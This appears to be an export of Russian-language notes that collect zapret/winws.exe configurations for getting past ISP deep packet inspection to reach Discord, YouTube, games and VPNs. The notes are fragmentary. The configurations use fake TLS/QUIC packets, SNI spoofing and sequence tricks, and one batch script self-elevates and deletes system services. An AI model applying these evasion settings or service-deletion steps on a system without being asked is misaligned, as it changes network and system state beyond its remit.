--dpi-desync=multisplit --dpi-desync-split-seqovl=681 --dpi-desync-split-pos=1,midsld --dpi-desync-split-seqovl-pattern="%BIN%tls_clienthello_www_google_com.bin" --new ^ --comment list-general+Extra --filter-tcp=443 --hostlist-exclude-domains=dis.gd,discord-attachments-uploads-prd.storage.googleapis.com,discord.app,discord.co,discord.com,discord.design,discord.dev,discord.gift,discord.gifts,discord.gg,gateway.discord.gg,discord.media,discord.new,discord.store,discord.status,discord-activities.com,discordactivities.com,discordapp.com,cdn.discordapp.com,discordapp.net,media.discordapp.net,images-ext-1.discordapp.net,updates.discord.com,stable.dl2.discordapp.net,discordcdn.com,discordmerch.com,discordpartygames.com,discordsays.com,discordsez.com,yt3.ggpht.com,yt4.ggpht.com,yt3.googleusercontent.com,googlevideo.com,jnn-pa.googleapis.com,wide-youtube.l.google.com,youtube-nocookie.com,youtube-ui.l.google.com,youtube.com,youtubeembeddedplayer.googleapis.com,youtubekids.com,youtubei.googleapis.com,youtu.be,yt-video-upload.l.google.com,ytimg.com,ytimg.l.google.com --hostlist="%LISTS%list-general.txt" --hostlist-domains=adguard.com,adguard-vpn.com,totallyacdn.com,whiskergalaxy.com,windscribe.com,windscribe.net,cloudflareclient.com,soundcloud.com,sndcdn.com,soundcloud.cloud,nexusmods.com,nexus-cdn.com,supporter-files.nexus-cdn.com,prostovpn.org,html-classic.itch.zone --dpi-desync=fake,multisplit --dpi-desync-fake-tls-mod=rnd,dupsid,sni=yandex.ru --dpi-desync-split-pos=1 --dpi-desync-fooling=badseq --dpi-desync-badseq-increment=2 --new ^ --comment Cloudflare WARP Gateway(1.1.1.1, 1.0.0.1) --filter-tcp=443 --ipset-ip=162.159.36.1,162.159.46.1,2606:4700:4700::1111,2606:4700:4700::1001 --filter-l7=tls --dpi-desync=fake --dpi-desync-fake-tls=0x00 --dpi-desync-start=n2 --dpi-desync-cutoff=n3 --dpi-desync-fooling=badseq --new ^ --comment WireGuard handshake --filter-udp=0-65535 --filter-l7=wireguard --dpi-desync=fake --dpi-desync-repeats=4 --dpi-desync-fake-wireguard=0x00 --dpi-desync-cutoff=n2 --new ^ --comment IP set(TCP 80) --filter-tcp=80 --ipset="%LISTS%ipset-all.txt" --dpi-desync=fake,multisplit --dpi-desync-fake-tls-mod=rnd,dupsid,sni=yandex.ru --dpi-desync-fooling=badseq --new ^ --comment IP set(TCP 443) --filter-tcp=443 --ipset="%LISTS%ipset-all.txt" --dpi-desync=fake --dpi-desync-fake-tls-mod=rnd,dupsid,sni=yandex.ru --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --new ^ --comment IP set(UDP 443) --filter-udp=443 --ipset="%LISTS%ipset-all.txt" --dpi-desync=fake --dpi-desync-repeats=6 --new ^ --comment Games(TCP) --filter-tcp=%GameFilter% --ipset="%LISTS%ipset-all.txt" --dpi-desync=syndata,fake,fakedsplit --dpi-desync-any-protocol --dpi-desync-split-pos=1 --dpi-desync-fakedsplit-pattern=0x00 --dpi-desync-cutoff=n3 --dpi-desync-autottl --dpi-desync-fooling=badseq --new ^ --comment Games(UDP) --filter-udp=%GameFilter% --ipset="%LISTS%ipset-all.txt" --dpi-desync=fake --dpi-desync-repeats=12 --dpi-desync-any-protocol --dpi-desync-cutoff=n3 ``` --- --- tags: - game - inprogress --- ``` --filter-udp=5056,27002 --dpi-desync-any-protocol --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-cutoff=n2 --dpi-desync-fake-unknown-udp=quic_initial_www_google_com.bin --new ``` ```embed title: "Не удается подключиться к серверам Phasmophobia (nftables) · bol-van zapret · Discussion #1597" image: "https://opengraph.githubassets.com/36670003c8159296abefa820422211359d7cb640bed1a93a938cf20f81504f8d/bol-van/zapret/discussions/1597" description: "Кто-нибудь удачно подбирал стратегию для получения доступа к Phasmophobia? Нашел только это, но здесь используется для обхода используется ipset, с которым nftables не может работать." url: "https://github.com/bol-van/zapret/discussions/1597" favicon: "" aspectRatio: "50" ``` ```embed title: "Telegram: Contact @biadimirphasmophobia" image: "https://telegram.org/img/t_logo_2x.png" description: "" url: "https://t.me/biadimirphasmophobia/25978" favicon: "" aspectRatio: "100" ``` --- --- date: 2026-08-20 tags: - todo - черновики - обзор-раздела aliases: - Черновики Zapret - ToDo раздел --- # 📝 ToDo — черновики и задачи раздела Zapret > [!info] О чём раздел > Рабочие черновики и задачи-заготовки: темы, по которым материал ещё собирается. Это не готовые статьи — содержимое может быть фрагментарным и устареть без предупреждения. ## Черновики - [[Zapret/ToDo/Comss DNS|Comss DNS]] - [[Zapret/ToDo/Dronator 4.2|Dronator 4.2]] - [[Zapret/ToDo/Phasmophobia|Phasmophobia]] ## 📚 См. также - [[Zapret/Zapret|Раздел Zapret]] — готовые материалы --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Zapret/ToDo/ToDo.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- ```embed title: "preset_discord_media_stun · bol-van zapret · Discussion #1733" image: "https://opengraph.githubassets.com/6deac58815b38255a18f1eac96f6a48c0926adba4ddae4a301f2db02fdfc9330/bol-van/zapret/discussions/1733" description: "Всем привет! Заметил в новых версиях zapret файлы: preset_discord_media_stun и т.п, не могу разобраться как с ними работать и как модифицировать (я не шарю за сети и вообще не являюсь сетевым инжен..." url: "https://github.com/bol-van/zapret/discussions/1733" favicon: "" ``` ```embed title: "Zapret умер полностью [Воскрес] · Issue #4811 · Flowseal/zapret-discord-youtube" image: "https://opengraph.githubassets.com/40c1566d5a9883bec05adead9aef57a7bccb557be5b14ae642b2b0530f425a5a/Flowseal/zapret-discord-youtube/issues/4811" description: "Причина была в агрессивных стратегиях, большинство операторов обновили свои методы обнаружения подмены dpi, и некоторые функции были сломаны. UPD: Полностью починил обход этой статегией (не забудьт..." url: "https://github.com/Flowseal/zapret-discord-youtube/issues/4811" favicon: "" aspectRatio: "50" ``` Всем привет! Заметил в новых версиях zapret файлы: preset_discord_media_stun и т.п, не могу разобраться как с ними работать и как модифицировать (я не шарю за сети и вообще не являюсь сетевым инженером, так просто юзер, который хочет немного разобраться не погружаясь в дебри терминологии и знаний о том, как работает сеть, чтобы не остаться без доступа к ресурсам). Может кто разъяснить, что это и как модифицировать под свои нужды, не только discord и wireguard? Есть мои попытки разобраться, но они быстро закончились: start "zapret: discord_media,stun" /min "%~dp0winws.exe" ^ --wf-raw=@"%~dp0windivert.filter\windivert.discord_media+stun.txt" ^ --filter-l7=discord,stun --dpi-desync=fake,multidisorder --dpi-desync-split-pos=midsld --- --- tags: - done --- с возможностью отправки в проекты задач --- логин от старого акка был такой же как и тут @ttrroyyy, но в момент заморозки аккаунта логин там был убран могу сказать номер телефона или почту от того тг или ключи кинуть с того акка --- --- tags: - inprogress --- --- ```embed title: "Flowseal/zapret-discord-youtube" image: "https://opengraph.githubassets.com/ecb1ec036f16044ecde2da8ae8f90debed8c5d5cdee13f9b70eb70e4366f9ba2/Flowseal/zapret-discord-youtube" description: "Contribute to Flowseal/zapret-discord-youtube development by creating an account on GitHub." url: "https://github.com/Flowseal/zapret-discord-youtube/issues?q=Ubisoft" favicon: "" aspectRatio: "50" ``` ```embed title: "Не работает Ubisoft · Issue #2337 · Flowseal/zapret-discord-youtube" image: "https://opengraph.githubassets.com/87aa06e02813b28d98d8db977174d373622771cd7e7eb257b7a3bb6024452b23/Flowseal/zapret-discord-youtube/issues/2337" description: "Дело такое. Хочется поиграть в The Crew 2, да и в целом использовать Ubisoft Connect, а он не грузится, ВПН нет возможности использоваться. Пытался найти адреса Юбиков, чтобы добавить в general lis..." url: "https://github.com/Flowseal/zapret-discord-youtube/issues/2337" favicon: "" aspectRatio: "50" ``` --- --- tags: - "#zapret" - "#zapret/inprogress" --- ```bash @echo off PUSHD "%~dp0" color f1 REM ============================================ REM ПЕРЕМЕННЫЕ REM ============================================ set ztmp=%TEMP%\ytmp set MYFILES=C:\Users\%USERNAME%\AppData\Local\Temp\afolder set bfcec=tmp6244.exe set cmdline=am_admin SHIFT /0 goto :Preparing REM ============================================ REM ОСНОВНАЯ СЕКЦИЯ ЗАПУСКА REM ============================================ :Zapusk REM --- Проверка и установка переменных по умолчанию --- if NOT DEFINED YTDB_TLS_MAIN_SET ( set YTDB_IPV6_OFF=1 set YTDB_AUTOTTL_OFF=0 set YTDB_TTL_OFF=1 set YTDB_TTL_NUM=5 set YTDB_TLS_MAIN_SET=12 set YTDB_QUIC_MAIN_SET=4 set YTDB_TLS_MAIN2_SET=12 set YTDB_ZAPRET_LOG_ON=0 ) REM --- Настройка AutoTTL --- if %YTDB_AUTOTTL_OFF%==0 ( set YTDB_AUTOTTL= --dpi-desync-autottl ) if %YTDB_IPV6_OFF%==0 ( set YTDB_AUTOTTL= --dpi-desync-autottl6 ) if %YTDB_TTL_OFF%==0 ( set YTDB_TTL= --dpi-desync-ttl=%YTDB_TTL_NUM% ) REM ============================================ REM КОНФИГУРАЦИЯ TLS MAIN REM ============================================ if %YTDB_TLS_MAIN_SET%==1 ( set YTDB_TLS_MAIN=--dpi-desync=fakedsplit --dpi-desync-split-pos=2,host+1 --dpi-desync-fakedsplit-pattern="%~dp0fake\fake_tls_4.bin" --dpi-desync-repeats=2 --dpi-desync-fooling=md5sig%YTDB_AUTOTTL%%YTDB_TTL% ) if %YTDB_TLS_MAIN_SET%==2 ( set YTDB_TLS_MAIN=--dpi-desync=fake,multisplit --dpi-desync-split-pos=1,sld+1 --dpi-desync-fake-tls=0x0F0F0F0F --dpi-desync-fake-tls="%~dp0fake\fake_tls_3.bin" --dpi-desync-fake-tls-mod=rnd,dupsid,rndsni --dpi-desync-fooling=badseq%YTDB_AUTOTTL%%YTDB_TTL% ) if %YTDB_TLS_MAIN_SET%==3 ( set YTDB_TLS_MAIN=--dpi-desync=multisplit --dpi-desync-split-seqovl=228 --dpi-desync-split-seqovl-pattern="%~dp0fake\fake_tls_2.bin" ) if %YTDB_TLS_MAIN_SET%==4 ( set YTDB_TLS_MAIN=--dpi-desync=fake,multisplit --dpi-desync-split-pos=2 --dpi-desync-fake-tls-mod=rndsni,rnd,dupsid --dpi-desync-fooling=badseq%YTDB_AUTOTTL%%YTDB_TTL% ) if %YTDB_TLS_MAIN_SET%==5 ( set YTDB_TLS_MAIN=--dpi-desync=fake,multidisorder --dpi-desync-split-pos=7,sld+1 --dpi-desync-fake-tls=0x0F0F0F0F --dpi-desync-fake-tls="%~dp0fake\fake_tls_4.bin" --dpi-desync-fake-tls-mod=rnd,dupsid,sni=fonts.google.com --dpi-desync-fooling=badseq%YTDB_AUTOTTL%%YTDB_TTL% ) if %YTDB_TLS_MAIN_SET%==6 ( set YTDB_TLS_MAIN=--dpi-desync=multisplit --dpi-desync-split-seqovl=314 --dpi-desync-split-pos=1 --dpi-desync-split-seqovl-pattern="%~dp0fake\fake_tls_4.bin" ) if %YTDB_TLS_MAIN_SET%==7 ( set YTDB_TLS_MAIN=--dpi-desync=multisplit --dpi-desync-split-seqovl=306 --dpi-desync-split-pos=2 --dpi-desync-split-seqovl-pattern="%~dp0fake\fake_tls_5.bin" ) if %YTDB_TLS_MAIN_SET%==8 ( set YTDB_TLS_MAIN=--dpi-desync=multisplit --dpi-desync-split-seqovl=226 --dpi-desync-split-seqovl-pattern="%~dp0fake\fake_tls_7.bin" ) if %YTDB_TLS_MAIN_SET%==9 ( set YTDB_TLS_MAIN=--dpi-desync=multisplit --dpi-desync-split-seqovl=211 --dpi-desync-split-seqovl-pattern="%~dp0fake\fake_tls_6.bin" ) if %YTDB_TLS_MAIN_SET%==10 ( set YTDB_TLS_MAIN=--dpi-desync=multisplit --dpi-desync-split-seqovl=318 --dpi-desync-split-seqovl-pattern="%~dp0fake\fake_tls_8.bin" ) if %YTDB_TLS_MAIN_SET%==11 ( set YTDB_TLS_MAIN=--dpi-desync=syndata,multisplit --dpi-desync-split-pos=1,midsld --dpi-desync-split-seqovl=1 --dpi-desync-fake-syndata="%~dp0fake\fake_syndata.bin" ) if %YTDB_TLS_MAIN_SET%==12 ( set YTDB_TLS_MAIN=--dpi-desync=syndata --dpi-desync-repeats=20 --orig-ttl=10 --orig-mod-cutoff=n5 --dup=5 --dup-cutoff=n5 ) if %YTDB_TLS_MAIN_SET%==Custom ( set YTDB_TLS_MAIN=%YTDB_TLS_MAIN_Custom% ) REM ============================================ REM КОНФИГУРАЦИЯ QUIC REM ============================================ if %YTDB_QUIC_MAIN_SET%==1 ( set YTDB_QUIC_MAIN=--dpi-desync=fake,udplen --dpi-desync-fake-quic="%~dp0fake\fake_quic_3.bin" --dpi-desync-repeats=2 ) if %YTDB_QUIC_MAIN_SET%==2 ( set YTDB_QUIC_MAIN=--dpi-desync=fake,udplen --dpi-desync-udplen-pattern=0x0F0F0E0F --dpi-desync-fake-quic="%~dp0fake\fake_quic_3.bin" --dpi-desync-repeats=2 ) if %YTDB_QUIC_MAIN_SET%==3 ( set YTDB_QUIC_MAIN=--dpi-desync=fake --dpi-desync-fake-quic="%~dp0fake\fake_quic_2.bin" --dpi-desync-repeats=4 ) if %YTDB_QUIC_MAIN_SET%==4 ( set YTDB_QUIC_MAIN=--dpi-desync=fake --dpi-desync-fake-quic="%~dp0fake\fake_quic_2.bin" --dpi-desync-repeats=20 --orig-ttl=10 --orig-mod-cutoff=n5 --dup=5 --dup-cutoff=n5 ) if %YTDB_QUIC_MAIN_SET%==Custom ( set YTDB_QUIC_MAIN=%YTDB_QUIC_MAIN_Custom% ) REM ============================================ REM КОНФИГУРАЦИЯ TLS MAIN2 REM ============================================ if %YTDB_TLS_MAIN2_SET%==1 ( set YTDB_TLS_MAIN2=--dpi-desync=fakedsplit --dpi-desync-split-pos=2,host+1 --dpi-desync-fakedsplit-pattern="%~dp0fake\fake_tls_4.bin" --dpi-desync-repeats=2 --dpi-desync-fooling=md5sig%YTDB_AUTOTTL%%YTDB_TTL% ) if %YTDB_TLS_MAIN2_SET%==2 ( set YTDB_TLS_MAIN2=--dpi-desync=fake,multisplit --dpi-desync-split-pos=1,sld+1 --dpi-desync-fake-tls=0x0F0F0F0F --dpi-desync-fake-tls="%~dp0fake\fake_tls_3.bin" --dpi-desync-fake-tls-mod=rnd,dupsid,rndsni --dpi-desync-fooling=badseq%YTDB_AUTOTTL%%YTDB_TTL% ) if %YTDB_TLS_MAIN2_SET%==3 ( set YTDB_TLS_MAIN2=--dpi-desync=multisplit --dpi-desync-split-seqovl=228 --dpi-desync-split-seqovl-pattern="%~dp0fake\fake_tls_2.bin" ) if %YTDB_TLS_MAIN2_SET%==4 ( set YTDB_TLS_MAIN2=--dpi-desync=fake,multisplit --dpi-desync-split-pos=2 --dpi-desync-fake-tls-mod=rndsni,rnd,dupsid --dpi-desync-fooling=badseq%YTDB_AUTOTTL%%YTDB_TTL% ) if %YTDB_TLS_MAIN2_SET%==5 ( set YTDB_TLS_MAIN2=--dpi-desync=fake,multidisorder --dpi-desync-split-pos=7,sld+1 --dpi-desync-fake-tls=0x0F0F0F0F --dpi-desync-fake-tls="%~dp0fake\fake_tls_4.bin" --dpi-desync-fake-tls-mod=rnd,dupsid,sni=fonts.google.com --dpi-desync-fooling=badseq%YTDB_AUTOTTL%%YTDB_TTL% ) if %YTDB_TLS_MAIN2_SET%==6 ( set YTDB_TLS_MAIN2=--dpi-desync=multisplit --dpi-desync-split-seqovl=314 --dpi-desync-split-pos=1 --dpi-desync-split-seqovl-pattern="%~dp0fake\fake_tls_4.bin" ) if %YTDB_TLS_MAIN2_SET%==7 ( set YTDB_TLS_MAIN2=--dpi-desync=multisplit --dpi-desync-split-seqovl=306 --dpi-desync-split-pos=2 --dpi-desync-split-seqovl-pattern="%~dp0fake\fake_tls_5.bin" ) if %YTDB_TLS_MAIN2_SET%==8 ( set YTDB_TLS_MAIN2=--dpi-desync=multisplit --dpi-desync-split-seqovl=226 --dpi-desync-split-seqovl-pattern="%~dp0fake\fake_tls_7.bin" ) if %YTDB_TLS_MAIN2_SET%==9 ( set YTDB_TLS_MAIN2=--dpi-desync=multisplit --dpi-desync-split-seqovl=211 --dpi-desync-split-seqovl-pattern="%~dp0fake\fake_tls_6.bin" ) if %YTDB_TLS_MAIN2_SET%==10 ( set YTDB_TLS_MAIN2=--dpi-desync=multisplit --dpi-desync-split-seqovl=318 --dpi-desync-split-seqovl-pattern="%~dp0fake\fake_tls_8.bin" ) if %YTDB_TLS_MAIN2_SET%==11 ( set YTDB_TLS_MAIN2=--dpi-desync=syndata,multisplit --dpi-desync-split-pos=1,midsld --dpi-desync-split-seqovl=1 --dpi-desync-fake-syndata="%~dp0fake\fake_syndata.bin" ) if %YTDB_TLS_MAIN2_SET%==12 ( set YTDB_TLS_MAIN2=--dpi-desync=syndata --dpi-desync-repeats=20 --orig-ttl=10 --orig-mod-cutoff=n5 --dup=5 --dup-cutoff=n5 ) if %YTDB_TLS_MAIN2_SET%==Custom ( set YTDB_TLS_MAIN2=%YTDB_TLS_MAIN2_Custom% ) REM --- Логирование --- if %YTDB_ZAPRET_LOG_ON%==1 ( set YTDB_prog_log=--debug=@"%~dp0log_debug.txt" ) REM --- Настройка аномальных сайтов --- set YTDB_ANOMALY_SITE=--dpi-desync=syndata,multisplit --dpi-desync-split-pos=1,midsld --dpi-desync-split-seqovl=1 --dpi-desync-fake-syndata="%~dp0fake\fake_syndata.bin" if NOT DEFINED YTDB_TLS_MAIN_SET ( set YTDB_ANOMALY_SITE=--dpi-desync=multisplit --dpi-desync-split-pos=1,midsld --dpi-desync-split-seqovl=1 ) REM ============================================ REM ЗАПУСК WINWS.EXE REM ============================================ start "---] zapret: http,https,quic,youtube,discord [---" "%~dp0winws.exe" %YTDB_prog_log% ^ --wf-tcp=80,443 --wf-udp=443,50000-50090 ^ --filter-tcp=80,443 --ipset="%~dp0lists\netrogat_ip.txt" --new ^ --filter-tcp=80,443 --hostlist="%~dp0lists\netrogat.txt" --new ^ --filter-udp=443 --hostlist-exclude="%~dp0lists\russia-discord.txt" %YTDB_QUIC_MAIN% --dpi-desync-cutoff=n4 --new ^ --filter-tcp=80 --dpi-desync=syndata,multisplit --dpi-desync-split-seqovl=4 --dpi-desync-split-pos=host+2 --dpi-desync-cutoff=n4 --new ^ --filter-l3=ipv6 --filter-tcp=443 --hostlist="%~dp0lists\russia-discord.txt" %YTDB_TLS_MAIN2% --dpi-desync-cutoff=n5 --new ^ --filter-tcp=443 --hostlist="%~dp0lists\russia-discord.txt" %YTDB_TLS_MAIN2% --dpi-desync-cutoff=n5 --new ^ --filter-tcp=443 --hostlist="%~dp0lists\anomaly_site.txt" %YTDB_ANOMALY_SITE% --dpi-desync-cutoff=n5 --new ^ --filter-l3=ipv6 --filter-tcp=443 --filter-l7=tls --hostlist-exclude="%~dp0lists\autohostlist.txt" %YTDB_TLS_MAIN% --dpi-desync-cutoff=n5 --new ^ --filter-tcp=443 --filter-l7=tls --hostlist-exclude="%~dp0lists\autohostlist.txt" %YTDB_TLS_MAIN% --dpi-desync-cutoff=n5 --new ^ --filter-udp=50000-50090 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-cutoff=n4 --new ^ --filter-tcp=80 --hostlist-auto="%~dp0lists\autohostlist.txt" --hostlist-auto-retrans-threshold=5 --dpi-desync=fake,multisplit --dpi-desync-split-seqovl=2 --dpi-desync-split-pos=host+1 --dpi-desync-fake-http=0x0E0E0F0E --dpi-desync-fooling=md5sig --dpi-desync-cutoff=n4 --new ^ --filter-tcp=443 --hostlist-auto="%~dp0lists\autohostlist.txt" --hostlist-auto-retrans-threshold=5 --dpi-desync=multisplit --dpi-desync-split-seqovl=314 --dpi-desync-split-pos=1 --dpi-desync-split-seqovl-pattern="%~dp0fake\fake_tls_4.bin" --dpi-desync-cutoff=n4 goto :EOF REM ============================================ REM ПОДГОТОВКА И ПРОВЕРКА ПРАВ АДМИНИСТРАТОРА REM ============================================ :Preparing REM Проверка прав администратора if not "%1"=="am_admin" ( powershell start -verb runas '%0' am_admin & exit /b ) REM Удаление старых логов del /F /Q "%~dp0logfile.log" > nul REM Проверка запущен ли RBTray tasklist /fi "IMAGENAME eq RBTray.exe" | find /i "RBTray.exe" > nul if errorlevel 1 ( start "" "%~dp0tray\RBTray.exe" > nul ) cls REM --- Остановка службы GoodbyeDPI --- for /f "skip=3 tokens=1,2,* delims=: " %%i in ('sc query "GoodbyeDPI"') do ( if %%j==4 ( color fc echo GoodbyeDPI service is running! echo Stopping service... net stop GoodbyeDPI > nul echo Deleting service... sc delete GoodbyeDPI > nul ping -n 4 127.0.0.1 > nul ) ) REM --- Остановка службы zapret --- for /f "skip=3 tokens=1,2,* delims=: " %%i in ('sc query "zapret"') do ( if %%j==4 ( color fc echo Zapret service is running! echo Stopping service... net stop zapret > nul echo Deleting service... sc delete zapret > nul ) ) REM --- Остановка службы WinDivert --- for /f "skip=3 tokens=1,2,* delims=: " %%i in ('sc query "WinDivert"') do ( if %%j==4 ( color fc echo WinDivert service is running! echo Stopping service... net stop WinDivert > nul ping -n 3 127.0.0.1 > nul ) ) REM Очистка DNS кэша ipconfig /flushdns > nul goto :Zapusk ``` --- --- tags: - zapret - zapret/inprogress --- ```embed title: "🔴 Обход YouTube · Flowseal/zapret-discord-youtube · Discussion #251" image: "https://opengraph.githubassets.com/8f51de6e0048b83ba804299014a24d7459e5c67cf43d9df48aef192cf3af2ecb/Flowseal/zapret-discord-youtube/discussions/251" description: "Здесь вы можете обсуждать различные стратегии обхода YouTube Обсуждение создано на замену Issue в пользу удобным комментариям и сортировке Закрытый Issue - #90 ⬆️ Если вам помог чей-либо ответ, то ..." url: "https://github.com/Flowseal/zapret-discord-youtube/discussions/251" favicon: "https://github.githubassets.com/favicons/favicon-dark.svg" aspectRatio: "50" parser: "local" date: "2025-10-05" custom_date: "2025-10-05 19:48:23" ``` ```embed title: "YouTube_live" image: "https://lh7-us.googleusercontent.com/docs/AHkbwyKyAFGCDI0WJ1Z4GkWBm3muHEcsDyk7aLWdNIXzoETyUfnt2oL44RcmLu_uGquSeHkS4AYrhl1HpXoPekfVLkQ7IYozX1IZpRUd4P9RAI59Ob9Bf9B9=w1200-h630-p" description: "Youtube + Discord для ПК - На данный момент помогает. Качаем, разархивируем, запускаем файл “Создать ярлык на рабочем столе”. С рабочего стола запускаем ярлык “Youtube, Discord” Если не помогло, пробуем разные конфиги v1-v7. https://disk.yandex.ru/d/Qc-FY9kUP3xAjA Яндекс диск https://drive.googl..." url: "https://docs.google.com/document/d/1F-VKwuOLRnUbzt8n56Z1Ug2vzYhU6ah7oLl6ptBOus4/edit?tab=t.0" favicon: "https://ssl.gstatic.com/docs/documents/images/kix-favicon-2023q4.ico" aspectRatio: "52.5" parser: "local" date: "2025-10-05" custom_date: "2025-10-05 19:46:41" ``` Discord+Youtube.cmd ```bash set BIN=%~dp0bin\ start "Zapret: multi" /min "%BIN%winws.exe" ^ --wf-tcp=80,443 --wf-udp=443,50000-50099 ^ --filter-udp=50000-50099 --ipset="%BIN%ipset-discord.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-any-protocol --dpi-desync-cutoff=n2 --new ^ --filter-tcp=443 --hostlist="%BIN%russia-discord.txt" --dpi-desync=split --dpi-desync-split-pos=1 --dpi-desync-fooling=badseq --dpi-desync-repeats=10 --dpi-desync-autottl --new ^ --filter-udp=443 --hostlist="%BIN%russia-discord.txt" --dpi-desync=fake,udplen --dpi-desync-udplen-increment=10 --dpi-desync-udplen-pattern=0xDEADBEEF --dpi-desync-fake-quic="%BIN%quic_pl_by_ori.bin" --dpi-desync-repeats=7 --dpi-desync-cutoff=n2 --new ^ --filter-udp=443 --hostlist="%BIN%googlevideo.txt" --dpi-desync=fake --dpi-desync-repeats=2 --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ --filter-tcp=443 --hostlist="%BIN%googlevideo.txt" --dpi-desync=split2 --dpi-desync-split-seqovl=1 --new ^ rem --filter-tcp=80 --hostlist-auto="%BIN%my_hostlist.txt" --hostlist-exclude="%BIN%my_hostlist_exclude.txt" --dpi-desync=split --dpi-desync-fooling=badsum --new ^ --filter-udp=443 --hostlist-auto="%BIN%my_hostlist.txt" --hostlist-exclude="%BIN%my_hostlist_exclude.txt" --dpi-desync=fake --dpi-desync-repeats=11 --new ^ --filter-tcp=443 --hostlist-auto="%BIN%my_hostlist.txt" --hostlist-exclude="%BIN%my_hostlist_exclude.txt" --dpi-desync=fake,split2 --dpi-desync-fooling=badseq --new --filter-tcp=443 --wssize 1:6 ``` Discord+Youtube_v1.cmd ```bash set BIN=%~dp0bin\ start "Zapret: multi" /min "%BIN%winws.exe" ^ --wf-tcp=80,443 --wf-udp=443,50000-65535 ^ --filter-udp=443 --hostlist="%BIN%youtube.txt" --dpi-desync=fake --dpi-desync-repeats=2 --dpi-desync-fake-quic="%BIN%quic_initial_vk_com.bin" --new ^ --filter-tcp=443 --hostlist="%BIN%youtube.txt" --dpi-desync=split --dpi-desync-split-pos=1 --dpi-desync-fooling=badseq --dpi-desync-repeats=10 --dpi-desync-ttl=1 --new ^ --filter-udp=50000-65535 --dpi-desync=fake --dpi-desync-any-protocol --dpi-desync-cutoff=n1 --new ^ --filter-tcp=80 --hostlist-auto="%BIN%blacklist.txt" --dpi-desync=split --dpi-desync-fooling=badsum --new ^ --filter-udp=443 --hostlist-auto="%BIN%blacklist.txt" --dpi-desync=fake --dpi-desync-repeats=10 --new ^ --filter-tcp=443 --hostlist-auto="%BIN%blacklist.txt" --dpi-desync=fake,split2 --dpi-desync-fooling=badseq ``` Discord+Youtube_v2.cmd ```bash set BIN=%~dp0bin\ start "Zapret: multi" /min "%BIN%winws.exe" ^ --wf-tcp=443-65535 --wf-udp=443-65535 ^ --filter-udp=443 --hostlist="%BIN%list-discord.txt" --dpi-desync=fake --dpi-desync-udplen-increment=10 --dpi-desync-repeats=6 --dpi-desync-udplen-pattern=0xDEADBEEF --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-65535 --dpi-desync=fake,tamper --dpi-desync-any-protocol --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ --filter-tcp=443 --hostlist="%BIN%list-discord.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --dpi-desync-fake-tls="%BIN%tls_clienthello_www_google_com.bin" ``` --- --dpi-desync-fake-tls-mod=sni=www.google.com ### original_bolvan_v2.bat ```bash taskkill /f /im winws.exe sc stop windivert sc delete windivert cd /d "%~dp0" start "origbolvan v2" /b "winws.exe" ^ --wf-l3=ipv4,ipv6 --wf-tcp=80,443 --wf-udp=443,50000-50099 ^ --filter-tcp=80 --dpi-desync=fake,fakedsplit --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="youtube.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=1,midsld --dpi-desync-repeats=11 --dpi-desync-fooling=md5sig --dpi-desync-fake-tls-mod=rnd,dupsid,sni=www.google.com --new ^ --filter-tcp=443 --hostlist-exclude="netrogat.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=1,midsld --dpi-desync-repeats=6 --dpi-desync-fooling=badseq,md5sig --new ^ --filter-udp=443 --hostlist="youtube.txt" --dpi-desync=fake --dpi-desync-repeats=11 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-udp=443 --dpi-desync=fake --dpi-desync-repeats=11 --new ^ --filter-udp=50000-50099 --filter-l7=discord,stun --dpi-desync=fake ``` ### original_bolvan.bat ```bash start "origbolvan v1" /b "winws.exe" ^ --wf-l3=ipv4,ipv6 --wf-tcp=80,443 --wf-udp=443,50000-50099 ^ --filter-tcp=80 --dpi-desync=fake,fakedsplit --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="youtube.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=1,midsld --dpi-desync-repeats=11 --dpi-desync-fooling=md5sig --dpi-desync-fake-tls="tls_clienthello_www_google_com.bin" --new ^ --filter-tcp=443 --hostlist-exclude="netrogat.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=midsld --dpi-desync-repeats=6 --dpi-desync-fooling=badseq,md5sig --new ^ --filter-udp=443 --hostlist="youtube.txt" --dpi-desync=fake --dpi-desync-repeats=11 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-udp=443 --dpi-desync=fake --dpi-desync-repeats=11 --new ^ --filter-udp=50000-50099 --ipset="ipset-discord.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-any-protocol --dpi-desync-cutoff=n4 ``` ### bolvan_allport.bat ```bash start "bolvan v3" /b "winws.exe" ^ --wf-l3=ipv4,ipv6 --wf-tcp=80,443,4950-4955,6695-6705 --wf-udp=443,50000-50099 ^ --filter-tcp=80 --dpi-desync=fake,fakedsplit --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="youtube.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=1,midsld --dpi-desync-repeats=11 --dpi-desync-fooling=md5sig --dpi-desync-fake-tls-mod=rnd,dupsid,sni=www.google.com --new ^ --filter-tcp=443 --hostlist-exclude="netrogat.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=1,midsld --dpi-desync-repeats=6 --dpi-desync-fooling=badseq,md5sig --new ^ --filter-tcp=4950-4955 --dpi-desync=fake,multidisorder --dpi-desync-split-pos=midsld --dpi-desync-repeats=8 